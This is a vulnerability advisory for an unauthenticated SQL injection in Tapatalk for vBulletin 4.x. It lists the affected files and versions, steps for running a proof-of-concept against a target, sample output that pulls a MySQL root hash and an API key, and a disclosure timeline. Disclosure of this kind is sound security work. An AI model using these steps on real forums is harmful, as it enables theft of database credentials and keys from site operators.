Preliminary VulnNote
date : 10/12/2014
cvss : 7.8 (AV:N/AC:L/Au:N/C:C/I:N/A:N) base
cwe : 89
vendor : Tapatalk Inc
product : Tapatalk for vBulletin 4.x
versions affected: <= 5.2.1 - latest (to date)
5.2.1 (verified)
4.9.0 (verified)
exploitability :
* remotely exploitable
* NO authentication required
* NO user interaction required
* NO special configuration required (default settings)
Tapatalk for vBulletin 4.x does not properly sanitize some xmlrpc calls for
unsubscribe_topic, unsubscribe_forum allowing unauthenticated users to
inject arbitrary SQL commands.
googledork: see PoC code
vulnerable component:
./mobiquo/functions/unsubscribe_forum.php
./mobiquo/functions/unsubscribe_topic.php
xmlrpc request is decoded, decoded attacker provided values are directly
being used in sql query.
see https://github.com/tintinweb/pub/tree/master/pocs/cve-2014-2023
1) prerequisites
vBulletin 4.x with Tapatalk for vBulletin 4.x installed
2) run PoC
edit PoC to match your TARGET (, optionally DEBUG=True)
(optionally) edit your query to extract specific database values
Note: PoC will try to detect tapatalk on that host
run PoC
by default extracts
* mysql root hash (in case vBulletin db user has permissions to do so)
* vbulletin db record fields (apikey) - perfectly chains with CVE-2014-2023
only limited by the vBulletin db_user access permissions
run:
[ i] Taptalk detected ... 'http://TARGET/mobiquo/mobiquo.php' ... v.5.2.1 :) - OK
[ ] TAPATALK for vBulletin 4.x - SQLi
[--] Target: http://TARGET/forum.php
[ +] Attack - sqli
[ *] guess mysql user/pass
[ ] trying to guess length ...
.
[ *] LENGTH = 0
[ ] trying to guess value ...
[ *] SUCCESS!: query: select -1 from mysql.user where user='root' and password =''
[ *] guess apikey
[ ] trying to guess length ...
. . . . . . . . .
[ *] LENGTH = 8
[ ] trying to guess value ...
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
[ +] HIT! - [4]..
. . . . . .
[ +] HIT! - 4[F]..
.
[ +] HIT! - 4F[A]..
. . . . . . . . . . . . . . . . . . . . . .
[ +] HIT! - 4FA[V]..
. . .
[ +] HIT! - 4FAV[c]..
. . . . . . . . . . . . . . . . . .
[ +] HIT! - 4FAVc[R]..
. . . .
[ +] HIT! - 4FAVcR[D]..
. . .
[ +] HIT! - 4FAVcRD[c]..
[ *] SUCCESS!: query: select -1 from setting where varname='apikey' and value ='4FAVcRDc'
4FAVcRDc
-- done --
2014-01-14: initial vendor contact, no response
2014-02-24: vendor contact, no response
2014-10-13: public disclosure
2014-10-14: vendor response - acknowledged, fix in progress
2014-10-17: waiting for fix to become publicly available
2014-10-24: poc release
tintinweb - https://github.com/tintinweb/pub/tree/master/pocs/cve-2014-2023
(0x721427D8)